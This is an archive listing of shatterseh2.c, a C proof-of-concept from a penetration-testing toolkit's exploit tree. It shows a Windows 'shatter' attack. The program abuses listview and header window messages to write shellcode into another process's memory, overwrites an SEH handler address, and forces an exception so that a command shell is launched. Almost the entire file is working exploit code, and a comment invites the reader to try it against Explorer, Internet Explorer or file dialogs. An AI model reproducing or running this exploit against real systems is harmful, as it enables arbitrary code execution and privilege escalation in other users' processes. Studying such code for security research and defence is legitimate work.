home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / shatterseh2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  94 lines
  1. /**********************************************************
  2. * shatterseh2.c
  3. *
  4. * Demonstrates the use of listview messages to;
  5. *    - inject shellcode to known location
  6. *    - overwrite 4 bytes of a critical memory address
  7. *
  8. * 3 Variables need to be set for proper execution.
  9. *    - tWindow is the title of the programs main window
  10. *    - sehHandler is the critical address to overwrite
  11. *    - shellcodeaddr is the data space to inject the code
  12. * The 'autofind' feature may not work against all programs.
  13. * Insert your own blank lines for readability
  14. * Try it out against any program with a listview.
  15. *   eg: explorer, IE, any file open dialog
  16. * Brett Moore [ brett.moore@security-assessment.com ]
  17. * www.security-assessment.com
  18. **********************************************************/
  19. #include <windows.h>
  20. #include <commctrl.h>
  21. // Local Cmd Shellcode
  22. BYTE exploit[] =
  23. "\x90\x68\x63\x6d\x64\x00\x54\xb9\xc3\xaf\x01\x78\xff\xd1\xcc";
  24. long hLVControl,hHdrControl;
  25. char tWindow[]="Main Window Title";// The name of the main window
  26. long sehHandler = 0x77edXXXX;      // Critical Address To Overwrite
  27. long shellcodeaddr = 0x0045e000;   // Known Writeable Space Or Global Space
  28. void doWrite(long tByte,long address);
  29. void IterateWindows(long hWnd);
  30. int main(int argc, char *argv[])
  31. {
  32.    long hWnd;
  33.    HMODULE hMod;
  34.    DWORD ProcAddr;
  35.    printf("%% Playing with listview messages\n");
  36.    printf("%% brett.moore@security-assessment.com\n\n");
  37.    // Find local procedure address
  38.    hMod = LoadLibrary("msvcrt.dll");
  39.    ProcAddr = (DWORD)GetProcAddress(hMod, "system");
  40.    if(ProcAddr != 0)
  41.       // And put it in our shellcode
  42.       *(long *)&exploit[8] = ProcAddr;
  43.    printf("+ Finding %s Window...\n",tWindow);
  44.    hWnd = FindWindow(NULL,tWindow);
  45.    if(hWnd == NULL)
  46.    {
  47.       printf("+ Couldn't Find %s Window\n",tWindow);
  48.       return 0;
  49.    }
  50.    printf("+ Found Main Window At...0x%xh\n",hWnd);
  51.    IterateWindows(hWnd);
  52.    printf("+ Not Done...\n");
  53.    return 0;
  54. }
  55. void doWrite(long tByte,long address)
  56. {
  57.    SendMessage((HWND) hLVControl,(UINT) LVM_SETCOLUMNWIDTH,
  58. 0,MAKELPARAM(tByte, 0));
  59.    SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,1,address);
  60. }
  61. void IterateWindows(long hWnd)
  62. {
  63.    long childhWnd,looper;
  64.    childhWnd = GetNextWindow(hWnd,GW_CHILD);
  65.    while (childhWnd != NULL)
  66.    {
  67.       IterateWindows(childhWnd);
  68.       childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT);
  69.    }
  70.    hLVControl = hWnd;
  71.    hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0);
  72.    if(hHdrControl != NULL)
  73.    {
  74.       // Found a Listview Window with a Header
  75.       printf("+ Found listview window..0x%xh\n",hLVControl);
  76.       printf("+ Found lvheader window..0x%xh\n",hHdrControl);
  77.       // Inject shellcode to known address
  78.       printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
  79.       for (looper=0;looper<sizeof(exploit);looper++)
  80.          doWrite((long) exploit[looper],(shellcodeaddr + looper));
  81.       // Overwrite SEH
  82.       printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
  83.       doWrite(((shellcodeaddr) & 0xff),sehHandler);
  84.       doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1);
  85.       doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2);
  86.       doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3);
  87.       // Cause exception
  88.       printf("+ Forcing Unhandled Exception\n");
  89.       SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1);
  90.       printf("+ Done...\n");
  91.       exit(0);
  92.    }
  93. }
  94.